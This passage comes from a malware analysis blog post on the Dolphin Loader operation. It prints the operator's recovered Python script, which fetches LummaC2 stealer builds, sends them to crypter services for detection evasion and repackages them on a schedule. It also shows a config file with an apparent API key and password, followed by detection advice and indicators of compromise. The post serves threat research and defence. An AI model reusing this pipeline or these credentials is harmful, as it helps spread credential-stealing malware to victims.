        'lumma_build_zip_password': config.get('Settings', 'lumma_build_zip_password', fallback=''),
        'filename': config.get('Settings', 'filename', fallback=''),
        'chatid': config.get('Settings', 'chatid', fallback='')
    }
    return settings

def download_and_extract_zip(api_url, api_key, save_path, zip_password, filename):
    url = f'{api_url}?access_token={api_key}'
    response = requests.get(url)
    zip_file_path = os.path.join(save_path, f'{filename}.zip')

    with open(zip_file_path, 'wb') as f:
        f.write(response.content)

    with pyzipper.AESZipFile(zip_file_path, 'r') as zip_ref:
        zip_ref.extractall(path=save_path, pwd=zip_password.encode('utf-8'))

    os.remove(zip_file_path)
    print(f"Downloaded and extracted files to: {save_path}")
    
    # پیدا کردن فایل استخراج شده
    extracted_file_path = None
    for file in os.listdir(save_path):
        if file.endswith('.exe'):
            extracted_file_path = os.path.join(save_path, file)
            break

    if not extracted_file_path:
        raise FileNotFoundError(f"Extracted file not found in: {save_path}")
    
    return extracted_file_path

def encrypt_file(input_path, service):
    try:
        with open(input_path, 'rb') as file:
            files = {'build.exe': file}
            headers = {'Authorization': encryption_api_key}
            if service == 'Packlab':
                response = requests.post(encryption_server_address_packlab, headers=headers, files=files)
            elif service == 'Easycrypt':
                response = requests.post(encryption_server_address_easycrypt, headers=headers, files=files)

        if response.status_code == 200:
            return response.content
        else:
            raise Exception(f"Error: {response.status_code}, {response.text}")
    except requests.exceptions.RequestException as e:
        raise Exception(f"An error occurred: {e}")

def create_encrypted_zip(file_path, save_path, filename, password):
    zip_file_path = os.path.join(save_path, f'{filename}.zip')
    pyminizip.compress(file_path, None, zip_file_path, password, 5)
    print(f"Encrypted zip file created at: {zip_file_path}")

def process_user_folders(root_folder):
    for user_folder in os.listdir(root_folder):
        user_folder_path = os.path.join(root_folder, user_folder)
        if os.path.isdir(user_folder_path):
            for slot_folder in os.listdir(user_folder_path):
                slot_folder_path = os.path.join(user_folder_path, slot_folder)
                if os.path.isdir(slot_folder_path):
                    ini_file_path = os.path.join(slot_folder_path, 'autocrypt.ini')
                    if os.path.exists(ini_file_path):
                        settings = read_autocrypt_ini(ini_file_path)
                        
                        if not settings['auto_crypt']:
                            print(f"Skipping {slot_folder_path} because auto_crypt is False")
                            continue

                        try:
                            if settings['lumma_stealer']:
                                extracted_file_path = download_and_extract_zip(api_url, settings['lumma_api_key'], slot_folder_path, settings['lumma_build_zip_password'], settings['filename'])
                            else:
                                raise Exception("Lumma stealer is disabled")
                        except Exception as e:
                            print(f"Error with Lumma stealer: {e}")
                            last_build_folder = os.path.join(slot_folder_path, '__LASTBUILD__')
                            if os.path.isdir(last_build_folder):
                                for file in os.listdir(last_build_folder):
                                    if file.endswith('.exe'):
                                        extracted_file_path = os.path.join(last_build_folder, file)
                                        break
                                else:
                                    print(f"No executable found in {last_build_folder}")
                                    continue
                            else:
                                print(f"No __LASTBUILD__ folder found in {slot_folder_path}")
                                continue

                        if settings['crypt_service'] == 'Packlab':
                            encrypted_file_content = encrypt_file(extracted_file_path, 'Packlab')
                        elif settings['crypt_service'] == 'Easycrypt':
                            encrypted_file_content = encrypt_file(extracted_file_path, 'Easycrypt')
                        else:
                            print(f"Unknown crypt_service: {settings['crypt_service']}")
                            continue
                        
                        # ذخیره فایل رمزنگاری شده
                        encrypted_file_path = os.path.join(slot_folder_path, f'{settings["filename"]}.exe')
                        with open(encrypted_file_path, 'wb') as encrypted_file:
                            encrypted_file.write(encrypted_file_content)
                        
                        print(f"Encrypted file saved to: {encrypted_file_path}")

                        # ایجاد فایل زیپ رمزنگاری شده
                        create_encrypted_zip(encrypted_file_path, slot_folder_path, settings['filename'], settings['chatid'])

def job():
    input_folder = r'C:\xampp\htdocs\Updates'  # Change this to your input folder path
    process_user_folders(input_folder)

if __name__ == "__main__":
    # اجرای اولیه برنامه
    job()

    # زمان‌بندی اجرای هر 3 ساعت یکبار
    schedule.every(1).hours.do(job)
    
    while True:
        schedule.run_pending()
        time.sleep(1)

So, if you recall from the Telegram ads about the Dolphin Loader mentioned earlier in this article, the developer offers free AutoCrypt every hour. This script is responsible for that. The developer uses Packlab and Easycrypt crypter services to encrypt LummaC2 payloads through APIs.

The autocrypt.ini file contains the LummaC2 payload generation settings:

[Settings]
auto_crypt = True # True or False
crypt_service = Packlab # Packlab, Easycrypt, ReflectiveDLLInjection
lumma_stealer = True # True or False
lumma_api_key = lumma_cisCPnGijULUMgUaOhPLOvmT_G4BGCIFsor2q48lWSWZpRAn7-MSjqSLSfJFmbKJyG7gNOl3UnVHt1jpSTHLzg
lumma_build_zip_password = 940e6692
filename = pentameral
chatid = 6012068394
tag = DolphinTag

Conclusion

It was interesting to see developers leveraging legitimate Remote Monitoring and Management (RMM) tools to distribute malware with minimal effort yet demanding substantial fees for the product.

Blue teamers should monitor for the execution of suspicious AutoIt scripts and process injections targeting RegAsm.exe, msbuild.exe, MicrosoftEdgeUpdate.exe, and updatecore.exe, especially when these processes originate from RMM tools as parent processes. Additionally, it’s important to examine the log files of RMM tools for any metadata that could suggest malicious activity.

Indicators of Compromise

NameIndicators
Aunteficator_em_BHdAOse8_installer_Win7-Win11_x86_x64.msif740670bd608f6a564366606e0bba8da
em_Kia5weA1_installer_Win7-Win11_x86_x64.msia295cf96ebabdfa1d30424e72ed6d4df
em_8azU2ahn_installer_Win7-Win11_x86_x64.msia2b4081e6ac9d7ff9e892494c58d6be1
Salome.zip5b295738eaf3c6aa623e2699f6d79e3a
script.a3x (Salome.zip)a504ca75b88e18b18509cb44acb27631
Core.zip8259de1408aae0f9ddeb85b2f47cfa30
script.a3x (Core.zip)91584a4b3f28029ecdfb9f04e3cc801f
Rhadamanthysf227b281d745d53fcb06fe2bf7de7d26
DarkGate loadera674a4ac02d85b5b208f17a5b5655c30
Rhadamanthys C295.217.44.124
SectopRAT45.141.87.55
LummaC2quialitsuzoxm[.]shop
LummaC2complaintsipzzx[.]shop
LummaC2mennyudosirso[.]shop
LummaC2pieddfreedinsu[.]shop
LummaC2languagedscie[.]shop
LummaC2bassizcellskz[.]shop
updater.pyd01de188808d566745d1ce888b431910
autocrypt.ini0f8f5de30b3560e08fcbfdb8e740748d
RMM instance URLrichardmilliestpe.itsm-us1.comodo[.]com
RMM instance URLitstrq.itsm-us1.comodo[.]com
Posted in Exploits, Programming, VulnerabilityTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Posts navigation

Older posts

Recent Posts

  • New Malicious PyPI Packages used by Lazarus(By Shusei Tomonaga)
  • Recent Cases of Watering Hole Attacks, Part 1(By Shusei Tomonaga)
  • Recent Cases of Watering Hole Attacks Part 2(By Shusei Tomonaga)
  • Tempted to Classifying APT Actors: Practical Challenges of Attribution in the Case of Lazarus’s Subgroup(By Hayato Sasaki)
  • SPAWNCHIMERA Malware: The Chimera Spawning from Ivanti Connect Secure Vulnerability(By Yuma Masubuchi)
  • DslogdRAT Malware Installed in Ivanti Connect Secure(By Yuma Masubuchi)
  • DslogdRAT Malware Targets Ivanti Connect Secure via CVE-2025-0282 Zero-Day Exploit
  • Lazarus Group’s “Operation SyncHole” Targets South Korean Industries
  • North Korean APT ‘Contagious Interview’ Launches Fake Crypto Companies to Spread Malware Trio
  • SocGholish and RansomHub: Sophisticated Attack Campaign Targeting Corporate Networks
  • Critical Flaw Exposes Linux Security Blind Spot: io_uring Bypasses Detection
  • Discord Used as C2 for Stealthy Python-Based RAT
  • Earth Kurma APT Targets Southeast Asia with Stealthy Cyberespionage
  • Triada Trojan Evolves: Pre-Installed Android Malware Now Embedded in Device Firmware
  • Fake GIF and Reverse Proxy Used in Sophisticated Card Skimming Attack on Magento
  • Fog Ransomware Group Exposed: Inside the Tools, Tactics, and Victims of a Stealthy Threat
  • Weaponized Uyghur Language Software: Citizen Lab Uncovers Targeted Malware Campaign
  • 4Chan Resumes Operation After Hack, Cites Funding Issues
  • ResolverRAT Targets Healthcare and Pharmaceutical Sectors Through Sophisticated Phishing Attacks
  • CVE-2024-8190: Investigating CISA KEV Ivanti Cloud Service Appliance Command Injection Vulnerability
  • Dissecting the Cicada
  • LockBit Analysis
  • Attacking PowerShell CLIXML Deserialization
  • Threat Hunting Report: GoldPickaxe
  • Exploiting Microsoft Kernel Applocker Driver (CVE-2024-38041)
  • Acquiring Malicious Browser Extension Samples on a Shoestring Budget
  • Type Juggling and Dangers of Loose Comparisons
  • Exploring Deserialization Attacks and Their Effects
  • Hunting for Unauthenticated n-days in Asus Routers
  • Element Android CVE-2024-26131, CVE-2024-26132 – Never Take Intents From Strangers
  • A Journey From sudo iptables To Local Privilege Escalation
  • AlcaWASM Challenge Writeup – Pwning an In-Browser Lua Interpreter
  • Fortinet Confirms Third-Party Data Breach Amid Hacker’s 440 GB Theft Claim
  • Adversary Emulation is a Complicated Profession – Intelligent Cyber Adversary Emulation with the Bounty Hunter
  • Cloudflare blocks largest recorded DDoS attack peaking at 3.8Tbps
  • RPKI Security Under Fire: 53 Vulnerabilities Exposed in New Research
  • CVE-2024-5102: Avast Antivirus Flaw Could Allow Hackers to Delete Files and Run Code as SYSTEM
  • Build Your Own Google: Create a Custom Search Engine with Trusted Sources
  • Rogue AI: What the Security Community is Missing
  • Ransomware Roundup – Underground
  • Emansrepo Stealer: Multi-Vector Attack Chains
  • Threat Actors Exploit GeoServer Vulnerability CVE-2024-36401
  • In-depth analysis of Pegasus spyware and how to detect it on your iOS device
  • GoldPickaxe exposed: How Group-IB analyzed the face-stealing iOS Trojan and how to do it yourself
  • Beware CraxsRAT: Android Remote Access malware strikes in Malaysia
  • Boolka Unveiled: From web attacks to modular malware
  • Ajina attacks Central Asia: Story of an Uzbek Android Pandemic
  • SMTP/s — Port 25,465,587 For Pentesters
  • POC – CVE-2024–4956 – Nexus Repository Manager 3 Unauthenticated Path Traversal
  • Unauthenticated RCE Flaw in Rejetto HTTP File Server – CVE-2024-23692
  • CVE-2024–23897 — Jenkins File Read Vulnerability — POC
  • Why Django’s [DEBUG=True] is a Goldmine for Hackers
  • Extracting DDosia targets from process memory
  • Dynamic Binary Instrumentation for Malware Analysis
  • Meduza Stealer or The Return of The Infamous Aurora Stealer
  • Unleashing the Viper : A Technical Analysis of WhiteSnake Stealer
  • MetaStealer – Redline’s Doppelgänger
  • Pure Logs Stealer Fails to Impress
  • MetaStealer Part 2, Google Cookie Refresher Madness and Stealer Drama
  • From Russia With Code: Disarming Atomic Stealer

Recent Comments

  1. Maq Verma on Turla APT used two new backdoors to infiltrate a European ministry of foreign affairs
  2. binance Registrera on Turla APT used two new backdoors to infiltrate a European ministry of foreign affairs
  3. Hal on FBI: BlackSuit ransomware made over $500 million in ransom demands
  4. canadian pharmaceuticals on Linux: Mount Remote Directories With SSHFS
  5. situs togel resmi on Extracting DDosia targets from process memory

Archives

  • April 2025 (19)
  • November 2024 (20)
  • October 2024 (13)
  • September 2024 (2)
  • August 2024 (119)
  • July 2024 (15)

Categories

  • Crack Tutorials
  • Cyber Attacks
  • Data Breaches
  • Exploits
  • Programming
  • Tools
  • Vulnerability

Site Visitors

  • Users online: 0 
  • Visitors today : 3
  • Page views today : 3
  • Total visitors : 2,215
  • Total page view: 2,824

$22 Million AWS Bitmagnet BlackCat Bytecode CrowdStrike Cyber Attacks cyber security Data Breach Data Security DDOS Decentralized Encryption fake github Indexer Injection Activity kernel Linux Maestro malware Microsoft Model Architecture Netflix Open Source Phishing Phishing Scam Programming Ransomware Reverse Engineering Safe Delete Safe Erase Scam Security tool Software Crack Software Design software protection SOLID SOLID Principles Sophos Intercept X Advanced Spyware Tools Torrent TryCloudflare vulnerability Workflow Engine

Proudly powered by Admiration Tech News | Copyright ©2023 Admiration Tech News | All Rights Reserved